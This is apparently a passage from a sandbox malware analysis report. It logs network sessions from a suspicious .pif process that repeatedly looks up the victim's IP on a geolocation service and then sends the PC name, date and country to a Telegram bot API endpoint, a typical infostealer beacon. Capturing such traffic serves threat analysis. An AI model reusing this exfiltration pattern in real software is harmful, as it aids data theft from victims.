                                                                                                                                                                    2025-01-02 15:05:39 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                                    Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    8192.168.2.449752188.114.97.34438008C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    2025-01-02 15:05:39 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                                    Host: reallyfreegeoip.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    2025-01-02 15:05:39 UTC863INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:39 GMT
                                                                                                                                                                    Content-Type: text/xml
                                                                                                                                                                    Content-Length: 362
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Age: 1145128
                                                                                                                                                                    Cache-Control: max-age=31536000
                                                                                                                                                                    cf-cache-status: HIT
                                                                                                                                                                    last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0exIDplgBj8Ek%2BzNuNb7%2FzfI5NOMvQmMIJunlT9z4PWM2cxuLFUsbtfVIy%2BYp%2BzppHzQjFbXWRslPW6mKaE%2FxF2EhgzLOD%2FjQaWd58MgoF8%2BsFJG78gwjdVXd7aKU6HZptKXYJ7n"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8fbba6073cdeefa3-EWR
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=2453&min_rtt=2381&rtt_var=944&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1226375&cwnd=114&unsent_bytes=0&cid=3f13abd7db8b10f6&ts=160&x=0"
                                                                                                                                                                    2025-01-02 15:05:39 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                                    Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    9192.168.2.449754188.114.97.34437688C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    2025-01-02 15:05:40 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                                    Host: reallyfreegeoip.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    2025-01-02 15:05:40 UTC853INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:40 GMT
                                                                                                                                                                    Content-Type: text/xml
                                                                                                                                                                    Content-Length: 362
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Age: 1145129
                                                                                                                                                                    Cache-Control: max-age=31536000
                                                                                                                                                                    cf-cache-status: HIT
                                                                                                                                                                    last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lAQg6DVRJgtujiFj16Sh%2F2lr4va97cjEEHVhxGKTtUmnDMZ46fN8XmnpjwOiK%2Fut01bf7eKkZecGhdtp2MIEaE3CbajacqdqG9pk0jT4Jx082ke7ZUZTWHTLCBtQBUrOTHbXuL4E"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8fbba60a2a22ef9f-EWR
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=2034&min_rtt=2019&rtt_var=768&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1446260&cwnd=219&unsent_bytes=0&cid=0f7eb607ae18beef&ts=160&x=0"
                                                                                                                                                                    2025-01-02 15:05:40 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                                    Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    10192.168.2.449757188.114.97.34437688C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    2025-01-02 15:05:41 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                                    Host: reallyfreegeoip.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    2025-01-02 15:05:41 UTC861INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:41 GMT
                                                                                                                                                                    Content-Type: text/xml
                                                                                                                                                                    Content-Length: 362
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Age: 1145130
                                                                                                                                                                    Cache-Control: max-age=31536000
                                                                                                                                                                    cf-cache-status: HIT
                                                                                                                                                                    last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yBbe6XRKKSvm%2FWv5eUVdSW1zAbY8OvuCtAhLNZOZ9rtDWsyVpXlInt1ggB9rQh%2FIcUanhJsRNLquy9OXBZH4Sl4mPr%2F2R9Svk05xQ%2BhWPtaGTgnYJgzYvFyLCaOF%2FGnvnKs4IIu5"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8fbba6124f7243ac-EWR
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=27000&min_rtt=5887&rtt_var=15293&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=496008&cwnd=181&unsent_bytes=0&cid=4ecc13436a3d0cf3&ts=165&x=0"
                                                                                                                                                                    2025-01-02 15:05:41 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                                    Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    11192.168.2.449758188.114.97.34438008C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    2025-01-02 15:05:41 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                                    Host: reallyfreegeoip.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    2025-01-02 15:05:41 UTC861INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:41 GMT
                                                                                                                                                                    Content-Type: text/xml
                                                                                                                                                                    Content-Length: 362
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Age: 1145130
                                                                                                                                                                    Cache-Control: max-age=31536000
                                                                                                                                                                    cf-cache-status: HIT
                                                                                                                                                                    last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WbWAHeoMWKoHNakMv%2BKdoVfl%2B38oD0D2NL9YueH1jA8B1PD%2FMmqRCl8jyZfU2F0pmoDOpfxJfiF2424A3%2F7X5xe3Y%2FKSbugYKRCXh7SxSFSYfAArMWuWV7DawpU6YbRn4AQQHz4%2B"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8fbba6138a0c7cf6-EWR
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=2024&min_rtt=2017&rtt_var=772&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1403846&cwnd=193&unsent_bytes=0&cid=33f75f14f6b46274&ts=181&x=0"
                                                                                                                                                                    2025-01-02 15:05:41 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                                    Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    12192.168.2.449761188.114.97.34437688C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    2025-01-02 15:05:43 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                                    Host: reallyfreegeoip.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    2025-01-02 15:05:43 UTC851INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:43 GMT
                                                                                                                                                                    Content-Type: text/xml
                                                                                                                                                                    Content-Length: 362
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Age: 1145132
                                                                                                                                                                    Cache-Control: max-age=31536000
                                                                                                                                                                    cf-cache-status: HIT
                                                                                                                                                                    last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RhaSerK61Ykz89dJ4%2FNtlxyBB8RUCq09gqSzYXhkoIq8ioSiuCOiB7ExUmHnRbPVvOaZABxI93xOJLSFAd235TXwbLcznCJYBD3vngu9o1GHDjgzvvsxjneFfVUquo4kYbvIdEv7"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8fbba61eab13429b-EWR
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1729&min_rtt=1729&rtt_var=649&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1686886&cwnd=238&unsent_bytes=0&cid=5acd162269c49cbf&ts=163&x=0"
                                                                                                                                                                    2025-01-02 15:05:43 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                                    Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    13192.168.2.449763188.114.97.34437688C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    2025-01-02 15:05:45 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                                    Host: reallyfreegeoip.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    2025-01-02 15:05:45 UTC861INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:45 GMT
                                                                                                                                                                    Content-Type: text/xml
                                                                                                                                                                    Content-Length: 362
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Age: 1145134
                                                                                                                                                                    Cache-Control: max-age=31536000
                                                                                                                                                                    cf-cache-status: HIT
                                                                                                                                                                    last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GYqaOAJDTC0DUJSb7bxUJaIFWLked4aFtDnuBEc%2Fdz30JVNXBSBm2Ff4FJ09ashvkWVMAM7UOfw%2Bx94GLHXkY%2B3gX4qqfN%2FjVWbApzq9cVLKAZoFtnStz241%2BptRM4WrKTN%2BgfSq"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8fbba62aae594271-EWR
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1903&min_rtt=1822&rtt_var=846&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1179321&cwnd=252&unsent_bytes=0&cid=e2e86946b18b2bfe&ts=179&x=0"
                                                                                                                                                                    2025-01-02 15:05:45 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                                    Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    14192.168.2.449764188.114.97.34438008C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    2025-01-02 15:05:45 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                                    Host: reallyfreegeoip.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    2025-01-02 15:05:45 UTC857INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:45 GMT
                                                                                                                                                                    Content-Type: text/xml
                                                                                                                                                                    Content-Length: 362
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Age: 1145134
                                                                                                                                                                    Cache-Control: max-age=31536000
                                                                                                                                                                    cf-cache-status: HIT
                                                                                                                                                                    last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OssTL2l2kJSXHr9bCYrdT2wUymJRlMuSEZMBQ9QXsZOv497FK52kws8pCCNJJ8V%2B1eB2g%2F3UwGXVAqMAtWTn8UotcB3jf9vKGxn0PwJoP5g6eqsSuMIVJ8D%2B%2BTGi7yAsPFPNKXDr"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8fbba62c5d8f7c8e-EWR
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1834&min_rtt=1827&rtt_var=700&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1545791&cwnd=248&unsent_bytes=0&cid=f5799e23b0913d45&ts=142&x=0"
                                                                                                                                                                    2025-01-02 15:05:45 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                                    Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    15192.168.2.449765149.154.167.2204437688C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    2025-01-02 15:05:46 UTC349OUTGET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:138727%0D%0ADate%20and%20Time:%2003/01/2025%20/%2004:14:07%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20138727%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1
                                                                                                                                                                    Host: api.telegram.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    2025-01-02 15:05:46 UTC344INHTTP/1.1 404 Not Found
                                                                                                                                                                    Server: nginx/1.18.0
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:46 GMT
                                                                                                                                                                    Content-Type: application/json
                                                                                                                                                                    Content-Length: 55
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                    Access-Control-Allow-Origin: *
                                                                                                                                                                    Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                                                                                    2025-01-02 15:05:46 UTC55INData Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d
                                                                                                                                                                    Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    16192.168.2.449767188.114.97.34438008C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    2025-01-02 15:05:46 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                                    Host: reallyfreegeoip.org
                                                                                                                                                                    2025-01-02 15:05:46 UTC857INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:46 GMT
                                                                                                                                                                    Content-Type: text/xml
                                                                                                                                                                    Content-Length: 362
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Age: 1145135
                                                                                                                                                                    Cache-Control: max-age=31536000
                                                                                                                                                                    cf-cache-status: HIT
                                                                                                                                                                    last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YFDR%2FLnou6koJ%2BsNwSCcgciJQjfKewDk8yvQ9WwtPDytquE06ynkZbQpGecJ4uburbVKQpkD9BFJY7Vm97Z3mTcduDbqYZqXfXCy%2BA0o6sLJdxjkkQ%2FcQnZFlKJ6OHs56O5Ga9wc"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8fbba633abe919cb-EWR
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1966&min_rtt=1960&rtt_var=748&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1449851&cwnd=248&unsent_bytes=0&cid=a4ac52ee02a271ea&ts=236&x=0"
